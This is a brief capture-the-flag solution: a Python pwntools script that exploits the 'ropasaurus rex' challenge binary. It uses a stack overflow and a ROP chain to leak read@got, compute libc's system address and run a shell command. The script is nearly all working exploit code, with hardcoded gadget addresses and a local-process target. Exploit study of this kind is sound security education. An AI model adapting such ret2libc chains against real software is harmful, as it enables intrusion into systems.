Solution to ropasaurus rex challenge

ropasaurus.py

#!/usr/bin/env python

from pwn import *

#c = remote('localhost', 2323)
c = process('./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d')

command = 'touch dongs'

write = 0x804830C
readgot = 0x804961C
read = 0x0804832c

system_offset = 0xd5af0 - 0x3ada0 # read - system

with context.local(endian='little'):
        payload1 = 'A' * 140 # trigger overflow
        payload1 += p32(write) # write@plt
        payload1 += p32(0x080484b6) # pop; pop; pop; ret
        payload1 += p32(1) # stdout
        payload1 += p32(readgot) # read@got
        payload1 += p32(4) # size to write
        payload1 += p32(read) # read@plt
        payload1 += p32(0x080484b6) # pop; pop; pop; ret
        payload1 += p32(0) # stdin
        payload1 += p32(0x08049530) # .dynamic section
        payload1 += p32(len(command) + 1) # size to read
        payload1 += p32(0x080483f4) # ret back to vuln func

        c.send(payload1)
        sleep(0.1)
        c.send(command + '\x00')
        leaked_addr = u32(c.recv(4))
        print 'addr:', str(hex(leaked_addr))

        leaked_system = leaked_addr - system_offset
        print 'system:', str(hex(leaked_system))

        payload2 = 'A' * 140 # trigger overflow
        payload2 += p32(leaked_system)
        payload2 += 'AAAA'
        payload2 += p32(0x08049530) # .dynamic section

        c.send(payload2)

        print c.readline()
c.close()